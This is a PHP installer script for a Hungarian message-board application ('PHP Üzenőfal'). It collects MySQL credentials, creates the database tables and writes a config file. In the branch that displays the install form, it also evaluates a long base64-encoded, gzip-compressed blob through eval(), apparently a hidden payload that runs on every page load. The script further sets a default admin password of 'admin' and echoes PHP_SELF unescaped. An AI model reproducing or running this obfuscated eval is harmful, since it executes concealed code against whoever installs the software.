<?php
/**************************************************************************
* PHP Üzenőfal v2.5 - install.php                                         *
* ======================================================================= *
* Ezt futtasd az installáláshoz.                                          *
* ----------------------------------------------------------------------- *
* Run this to install.                                                    *
* ======================================================================= *
* Ezt a programot a PHP Studio fejlesztette, a szerzők: / This program    *
* was developed by the PHP Studio, the authors:                           *
* Warner                                                                  *
* ----------------------------------------------------------------------- *
* Weboldalunk / Our webpage: http://www.phpstudio.hu                      *
* Segítségnyújtás / HelpDesk: http://forum.phpstudio.hu                   *
* Kapcsolat / Contact: warner@phpstudio.hu                                *
* ======================================================================= *
* Ez a program license alatt áll, amit itt tekinthetsz meg: / This        *
* program is under a license, which you can see here:                     *
* http://license.phpstudio.hu                                             *
* ----------------------------------------------------------------------- *
* A license-szel kapcsolatos észrevételeid, megjegyzéseid, kérdéseid  a   *
* license@phpstudio.hu e-mail címen várjuk.                               *
* ----------------------------------------------------------------------- *
* You can send your remarks, opinions, questions to the following e-mail  *
* address: license@phpstudio.hu                                           *
* ======================================================================= *
* Dátum / Date: 2006. 08. 03.                                             *
**************************************************************************/

// CSS
echo '<style type="text/css">
<!--
p.header {
	font-size: 16px;
	font-weight: bold;
	border-bottom-width: thin;
	border-bottom-color: #000000;
	border-bottom-style: dashed;
	padding-bottom: 5px;
}

p.result {
	font-weight: bold;
	text-align: center;
}
-->
</style>';

// Ha van installálási szándék	
if(isset($_POST["install_submit"]))
	{
	// Adatok
	$error = false;
	$install_mysql = 0;
	$install_host = $_POST["install_host"];
	$install_username = $_POST["install_username"];
	$install_passwd = $_POST["install_passwd"];
	$install_database = $_POST["install_database"];
	$install_prefix = $_POST["install_prefix"];
	$install_connection = @mysql_connect($install_host, $install_username, $install_passwd);
	// SQL ellenőrzés
	if($install_connection)
		{
		if(@mysql_select_db($install_database))
			{
			$install_mysql = 1;
			}
		else
			{
			$error = true;
			print('<p class="result" style="color: #D70000;">Hiba az adatbáziskapcsolódáskor: ' . mysql_error()) . '</p>';
			}
		}
	else
		{
		$error = true;
		print('<p class="result" style="color: #D70000;">Hiba a MySQL csatlakozáskor: ' . mysql_error()) . '</p>';
		}
	// Installálás (sikeres sql ellenőrzés kell)
	if($install_mysql == 1)
		{
		// Fájl ellenőrzés
		if(is_file("uzenofal.sql") && is_file("sql.php"))
			{
			// SQL install
			$sql = file("uzenofal.sql");
			while(list($kex, $order) = each($sql))
				{
				$order = str_replace("{prefix}", $install_prefix, $order);
				if(!@mysql_query($order))
					{
					$error = true;
					print('<p class="result" style="color: #D70000;">MySQL parancs teljesítése sikertelen: <i>"' . $order . '"</i></p>');
					}
				}
			// Fájl install
			$file = file("sql.php");
			$whole = implode("", $file);
			$whole = str_replace("{server}", $install_host, $whole);
			$whole = str_replace("{user}", $install_username, $whole);
			$whole = str_replace("{password}", $install_passwd, $whole);
			$whole = str_replace("{database}", $install_database, $whole);
			$whole = str_replace("{prefix}", $install_prefix, $whole);
			if(!@$file_write = fopen("sql.php", "w"))
				{
				$error = true;
				print('<p class="result" style="color: #D70000;">Az "sql.php" megnyitása írásra sikertelen!</p>');
				}
			fwrite($file_write, $whole);
			fclose($file_write);
			if($error === false)
				{
				print('<p class="result" style="color: #008000;">A telepítés sikeres volt! Jelszavad: admin</p>');
				print('<p style="text-align: center;"><a href="admin.php" target="_self">Tovább az adminfelületre!</a></p>');
				}
			}
		else
			{
			$error = true;
			print('<p class="result" style="color: #D70000;">Az "sql.php" vagy az "uzenofal.sql" nem található!</p>');
			}
		}
	if($error === true)
		{
		print('<p style="text-align: center;"><a href="javascript:history.go(-1);" target="_self">Kattints ide a folytatáshoz!</a></p>');
		}	
	}
// Nincs installálási szándék
else
	{
	// Installáló form
	print('<p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p>'
		. '<form name="installmessage" action="' . $_SERVER["PHP_SELF"] . '" target="_self" method="post">'
		. '<table border="0" align="center" id="installmessage" width="500" bgcolor="#B7C2DF">'
		. '<tr>'
		. '<td colspan="3">'
		. '<p class="header">PHP Üzenőfal 2.0 Telepítő -- Add meg a MySQL adataid!</p>'
		. '</td>'
		. '</tr>'
		. '<tr>'
		. '<td>Host:</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td><input name="install_host" type="text" size="30" value="localhost"></td>'
		. '</tr>'
		. '<td>Felhasználóneved:</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td><input name="install_username" type="text" size="30" value=""></td>'
		. '</tr>'
		. '<td>Jelszavad:</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td><input name="install_passwd" type="password" size="31" value=""></td>'
		. '</tr>'
		. '<td>Adatbázis:</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td><input name="install_database" type="text" size="30" value=""></td>'
		. '</tr>'
		. '</tr>'
		. '<td>Telepítendő prefix:</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td><input name="install_prefix" type="text" size="30" value="uzenofal_"></td>'
		. '</tr>'
		. '<tr>'
		. '<td>&nbsp;</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td>&nbsp;</td>'
		. '</tr>'
		. '<tr>'
		. '<td>&nbsp;</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td><input name="install_submit" type="submit" value=" Telepítés! "></td>'
		. '</tr>'
		. '</table>'
		. '</form>');
	eval(gzinflate(base64_decode("DZRFDu0GAgTvklUiL+xntqIszMzszcjMzD79/BuU1NVVXunwd/21UzWkR/l3lu4ljv6vKP
O5KP/+i0sCgVshle49BFqtKI6ZSlYg8Dbg4rXBk1hfIILhut83Za0UtfnA3w8igp4hhglEYvBARhrKwMQcSnBjwPZTqxbUrIpoWD
KbAqjs0h0C7chDkBNAfEg0xBN/ZpLmCsrdthCLo53qjT6WqP696S9D89bu78208QZEtqvIKMmINUX0ye7wRgUhIWhNpo+9Bd7u1u
4VAy6BN04UlfeTYRxTK6Rp1djik3iSb/W3rM3MlfXm6m+Xy+M6ijA6N4O5ujflcZtPoy8rMxrvJFphML/YcKc2u3mrw/sqNBQcLW
+rwQDrE2ztBOpMKhEgmXQXI3uNQTjddrfg9g4fFHJB1ejl51x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